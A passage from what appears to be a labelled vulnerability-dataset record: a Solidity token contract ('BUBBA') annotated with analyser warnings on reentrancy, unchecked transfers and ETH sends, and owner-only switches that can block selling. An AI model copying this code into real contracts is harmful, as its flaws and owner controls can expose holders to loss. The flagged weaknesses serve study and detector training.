{\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 62f389e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 62f389e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ddde222): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ddde222: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 62f389e\n\t\t// reentrancy-benign | ID: ddde222\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 62f389e\n\t\t// reentrancy-benign | ID: ddde222\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ef7164d): BUBBA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ef7164d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ddde222\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 62f389e\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e7666af): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e7666af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: e0e7df0): BUBBA._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for e0e7df0: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 68d384e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 68d384e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5572faa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5572faa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: e0e7df0\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: e7666af\n\t\t\t\t// reentrancy-eth | ID: 68d384e\n\t\t\t\t// reentrancy-eth | ID: 5572faa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e7666af\n\t\t\t\t\t// reentrancy-eth | ID: 68d384e\n\t\t\t\t\t// reentrancy-eth | ID: 5572faa\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 68d384e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 68d384e\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e7666af\n\t\t\t\t// reentrancy-eth | ID: 5572faa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e7666af\n\t\t\t\t\t// reentrancy-eth | ID: 5572faa\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5572faa\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e7666af\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5572faa\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5572faa\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e7666af\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 62f389e\n\t\t// reentrancy-events | ID: e7666af\n\t\t// reentrancy-benign | ID: ddde222\n\t\t// reentrancy-eth | ID: 68d384e\n\t\t// reentrancy-eth | ID: 5572faa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c03442c): BUBBA.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for c03442c: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: c03442c\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 34998e8): BUBBA.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for 34998e8: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 34998e8\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 157a94b): BUBBA.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 157a94b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint256 _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 157a94b\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3b1c16d): BUBBA.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for 3b1c16d: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 3b1c16d\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 04d674d): BUBBA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 04d674d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 62f389e\n\t\t// reentrancy-events | ID: e7666af\n\t\t// reentrancy-eth | ID: 68d384e\n\t\t// reentrancy-eth | ID: 5572faa\n\t\t// arbitrary-send-eth | ID: 04d674d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8b7780b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8b7780b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 10bdedf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 10bdedf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: efc1235): BUBBA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for efc1235: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2a31728): BUBBA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2a31728: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4a62bbe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4a62bbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8b7780b\n\t\t// reentrancy-benign | ID: 10bdedf\n\t\t// reentrancy-eth | ID: 4a62bbe\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8b7780b\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 8b7780b\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 10bdedf\n\t\t// unused-return | ID: 2a31728\n\t\t// reentrancy-eth | ID: 4a62bbe\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 10bdedf\n\t\t// unused-return | ID: efc1235\n\t\t// reentrancy-eth | ID: 4a62bbe\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 10bdedf\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4a62bbe\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 10bdedf\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1448.sol", "secure": 0, "size_bytes": 20769 }